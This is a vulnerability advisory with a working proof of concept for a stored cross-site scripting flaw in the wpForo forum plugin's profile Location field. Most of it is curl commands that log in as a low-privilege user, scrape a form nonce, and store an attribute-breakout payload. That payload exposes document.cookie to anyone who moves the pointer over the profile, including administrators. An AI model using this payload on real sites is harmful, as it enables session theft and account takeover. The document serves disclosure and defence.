wpForo Forum < 3.1.2 – Subscriber+ Stored XSS via Profile Location Field | CVE 2026-12696

Description

The plugin does not sanitize and escape a user profile field before outputting it inside an HTML attribute on the public participant profile page, allowing users with a subscriber-level account to inject JavaScript that executes in the browser of any visitor who views the profile, including a logged-in administrator.

Proof of Concept

Prerequisites:
- Default wpForo install: users_can_register=1; the default "Registered" usergroup is WP Subscriber-class (no unfiltered_html).
- The built-in "Location" profile field is enabled by default and editable by any registered user (no admin configuration required).
- wpForo antispam "Minimum number of posts to edit account" defaults to 3, so the attacker first makes 3 approved forum posts (ordinary participation, fully under their control) to unlock the account-edit form.

BASE="https://victim.example"   # target site

Step 1 - Register / log in as the low-privilege attacker (wpForo "Registered" = WP Subscriber).
curl -s -c jar.txt "$BASE/wp-login.php" >/dev/null
curl -s -c jar.txt -b jar.txt \
  --data-urlencode "log=attacker" \
  --data-urlencode "pwd=PASSWORD" \
  --data-urlencode "wp-submit=Log In" \
  --data-urlencode "redirect_to=$BASE/" \
  "$BASE/wp-login.php" -o /dev/null

Step 2 - As the attacker, create 1 topic and 2 replies through the normal forum UI so the
account reaches 3 approved posts. The account-edit form then renders the Location field.

Step 3 - Scrape the page-wide form nonce (_wpfnonce) and the attacker's own userid from the
live account-edit form (these are the user's own form values, not an admin nonce):
FORM=$(curl -s -b jar.txt "$BASE/participant/attacker/account/")
NONCE=$(printf '%s' "$FORM" | grep -oE 'name="_wpfnonce" value="[a-f0-9]+"' | head -1 | sed -E 's/.*value="([a-f0-9]+)".*/\1/')
UID=$(printf '%s' "$FORM" | grep -oE 'name="member\[userid\]" value="[0-9]+"' | head -1 | sed -E 's/.*value="([0-9]+)".*/\1/')

Step 4 - Store the attribute-breakout payload in the Location field via the genuine save handler:
PAYLOAD='" onmouseover="document.title=String.fromCharCode(88,83,83,80,82,79,79,70,45)+document.cookie" style="position:fixed;top:0;left:0;width:100%;height:100%;display:block;z-index:99999" x="'
curl -s -b jar.txt -e "$BASE/participant/attacker/account/" \
  --data-urlencode "_wpfnonce=$NONCE" \
  --data-urlencode "wpfaction=profile_update" \
  --data-urlencode "member[userid]=$UID" \
  --data-urlencode "member[location]=$PAYLOAD" \
  "$BASE/participant/attacker/account/" -o /dev/null -w '%{http_code}\n'
# expected: 302 (saved)

Step 5 - As an UNAUTHENTICATED guest, fetch the attacker's public profile and observe the
payload served unescaped inside the anchor attribute:
curl -s "$BASE/participant/attacker/" | grep -oE '<a href="//maps.google.com/\?q=" onmouseover[^>]*>'

Served element (the breakout " is a literal 0x22, NOT &quot;/&#34;):
<a href="//maps.google.com/?q=" onmouseover="document.title=String.fromCharCode(88,83,83,80,82,79,79,70,45)+document.cookie" style="position:fixed;top:0;left:0;width:100%;height:100%;display:block;z-index:99999" x="" target="_blank" rel="nofollow">

The full-viewport overlay (position:fixed;width:100%;height:100%) makes any pointer movement over
the profile fire the onmouseover handler in the viewer's session, including a logged-in admin.

Honest negative (what is NOT the vector):
Raw <script>alert(1)</script> and <img src=x onerror=alert(1)> store empty/inert through this handler - the save-time sanitizer strips angle brackets. Only the double-quote / = / on* attribute-breakout payload survives and executes.